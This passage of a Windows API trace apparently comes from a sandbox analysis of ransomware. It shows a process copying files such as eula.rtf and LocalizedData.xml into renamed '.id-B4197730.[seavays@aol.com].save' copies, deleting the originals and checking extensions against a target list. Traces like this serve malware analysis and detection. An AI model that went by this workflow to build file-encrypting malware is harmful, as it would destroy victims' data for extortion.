[0052.599] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.599] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.599] SetEndOfFile (hFile=0x314) returned 1 [0052.599] CloseHandle (hObject=0x314) returned 1 [0052.600] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.600] SetEndOfFile (hFile=0x2e8) returned 1 [0052.601] CloseHandle (hObject=0x2e8) returned 1 [0052.601] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.602] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0052.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.602] lstrlenW (lpString=".doc") returned 4 [0052.602] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.602] lstrlenW (lpString=".docx") returned 5 [0052.602] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.602] lstrlenW (lpString=".pdf") returned 4 [0052.602] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.602] lstrlenW (lpString=".xls") returned 4 [0052.602] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.602] lstrlenW (lpString=".xlsx") returned 5 [0052.602] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.602] lstrlenW (lpString=".ppt") returned 4 [0052.602] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.602] lstrlenW (lpString=".zip") returned 4 [0052.602] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.602] lstrlenW (lpString=".rar") returned 4 [0052.602] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.602] lstrlenW (lpString=".bz2") returned 4 [0052.602] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.602] lstrlenW (lpString=".7z") returned 3 [0052.602] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.602] lstrlenW (lpString=".dbf") returned 4 [0052.603] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString=".1cd") returned 4 [0052.603] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString=".jpg") returned 4 [0052.603] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString=".doc") returned 4 [0052.603] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString=".docx") returned 5 [0052.603] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.603] lstrlenW (lpString=".pdf") returned 4 [0052.603] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString=".xls") returned 4 [0052.603] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.603] lstrlenW (lpString=".xlsx") returned 5 [0052.603] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.603] lstrlenW (lpString=".ppt") returned 4 [0052.603] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString=".zip") returned 4 [0052.603] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.603] lstrlenW (lpString=".rar") returned 4 [0052.603] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString=".bz2") returned 4 [0052.603] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.603] lstrlenW (lpString=".7z") returned 3 [0052.603] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.603] lstrlenW (lpString=".dbf") returned 4 [0052.604] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.604] lstrlenW (lpString=".1cd") returned 4 [0052.604] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0052.604] lstrlenW (lpString=".jpg") returned 4 [0052.604] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.604] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.604] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.604] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=79296) returned 1 [0052.604] CloseHandle (hObject=0x2e8) returned 1 [0052.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0052.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.605] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.605] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.605] GetLastError () returned 0x0 [0052.605] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x135c0, lpOverlapped=0x0) returned 1 [0053.131] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x135d0, lpOverlapped=0x0) returned 1 [0053.133] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.133] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.133] SetEndOfFile (hFile=0x314) returned 1 [0053.133] CloseHandle (hObject=0x314) returned 1 [0053.136] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.136] SetEndOfFile (hFile=0x2e8) returned 1 [0053.137] CloseHandle (hObject=0x2e8) returned 1 [0053.137] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.137] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0053.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.138] lstrlenW (lpString=".doc") returned 4 [0053.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString=".docx") returned 5 [0053.138] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.138] lstrlenW (lpString=".pdf") returned 4 [0053.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString=".xls") returned 4 [0053.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString=".xlsx") returned 5 [0053.138] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.138] lstrlenW (lpString=".ppt") returned 4 [0053.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.138] lstrlenW (lpString=".zip") returned 4 [0053.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.138] lstrlenW (lpString=".rar") returned 4 [0053.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString=".bz2") returned 4 [0053.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString=".7z") returned 3 [0053.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.138] lstrlenW (lpString=".dbf") returned 4 [0053.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.138] lstrlenW (lpString=".1cd") returned 4 [0053.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.139] lstrlenW (lpString=".jpg") returned 4 [0053.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.139] lstrlenW (lpString=".doc") returned 4 [0053.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString=".docx") returned 5 [0053.139] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.139] lstrlenW (lpString=".pdf") returned 4 [0053.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString=".xls") returned 4 [0053.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString=".xlsx") returned 5 [0053.139] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.139] lstrlenW (lpString=".ppt") returned 4 [0053.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.139] lstrlenW (lpString=".zip") returned 4 [0053.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.139] lstrlenW (lpString=".rar") returned 4 [0053.139] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString=".bz2") returned 4 [0053.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.139] lstrlenW (lpString=".7z") returned 3 [0053.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.139] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.139] lstrlenW (lpString=".dbf") returned 4 [0053.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.140] lstrlenW (lpString=".1cd") returned 4 [0053.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0053.140] lstrlenW (lpString=".jpg") returned 4 [0053.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.140] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.140] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.140] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=76818) returned 1 [0053.140] CloseHandle (hObject=0x2e8) returned 1 [0053.140] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0053.140] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.141] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.141] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.141] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0053.141] GetLastError () returned 0x0 [0053.141] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x12c12, lpOverlapped=0x0) returned 1 [0053.144] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x12c20, lpOverlapped=0x0) returned 1 [0053.146] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.146] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.146] SetEndOfFile (hFile=0x314) returned 1 [0053.146] CloseHandle (hObject=0x314) returned 1 [0053.148] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.148] SetEndOfFile (hFile=0x2e8) returned 1 [0053.149] CloseHandle (hObject=0x2e8) returned 1 [0053.150] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.150] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0053.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.151] lstrlenW (lpString=".doc") returned 4 [0053.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString=".docx") returned 5 [0053.151] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.151] lstrlenW (lpString=".pdf") returned 4 [0053.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString=".xls") returned 4 [0053.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString=".xlsx") returned 5 [0053.151] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.151] lstrlenW (lpString=".ppt") returned 4 [0053.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.151] lstrlenW (lpString=".zip") returned 4 [0053.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.151] lstrlenW (lpString=".rar") returned 4 [0053.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString=".bz2") returned 4 [0053.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.151] lstrlenW (lpString=".7z") returned 3 [0053.151] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.151] lstrlenW (lpString=".dbf") returned 4 [0053.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.152] lstrlenW (lpString=".1cd") returned 4 [0053.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.152] lstrlenW (lpString=".jpg") returned 4 [0053.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.152] lstrlenW (lpString=".doc") returned 4 [0053.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString=".docx") returned 5 [0053.152] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.152] lstrlenW (lpString=".pdf") returned 4 [0053.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString=".xls") returned 4 [0053.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString=".xlsx") returned 5 [0053.152] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.152] lstrlenW (lpString=".ppt") returned 4 [0053.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.152] lstrlenW (lpString=".zip") returned 4 [0053.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.152] lstrlenW (lpString=".rar") returned 4 [0053.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString=".bz2") returned 4 [0053.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.152] lstrlenW (lpString=".7z") returned 3 [0053.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.152] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.153] lstrlenW (lpString=".dbf") returned 4 [0053.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.153] lstrlenW (lpString=".1cd") returned 4 [0053.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0053.153] lstrlenW (lpString=".jpg") returned 4 [0053.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.153] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0053.153] lstrlenW (lpString="eula.rtf") returned 8 [0053.153] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.153] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=5827) returned 1 [0053.153] CloseHandle (hObject=0x2e8) returned 1 [0053.153] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0053.153] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.153] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.154] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.154] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.154] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0053.154] GetLastError () returned 0x0 [0053.154] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x16c3, lpOverlapped=0x0) returned 1 [0053.155] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0053.156] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.156] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0053.157] SetEndOfFile (hFile=0x314) returned 1 [0053.157] CloseHandle (hObject=0x314) returned 1 [0053.157] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.158] SetEndOfFile (hFile=0x2e8) returned 1 [0053.158] CloseHandle (hObject=0x2e8) returned 1 [0053.158] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.159] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0053.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.159] lstrlenW (lpString=".doc") returned 4 [0053.159] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.159] lstrlenW (lpString=".docx") returned 5 [0053.159] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.159] lstrlenW (lpString=".pdf") returned 4 [0053.159] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.159] lstrlenW (lpString=".xls") returned 4 [0053.159] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.159] lstrlenW (lpString=".xlsx") returned 5 [0053.159] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.159] lstrlenW (lpString=".ppt") returned 4 [0053.159] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.159] lstrlenW (lpString=".zip") returned 4 [0053.159] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.159] lstrlenW (lpString=".rar") returned 4 [0053.160] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString=".bz2") returned 4 [0053.160] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString=".7z") returned 3 [0053.160] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.160] lstrlenW 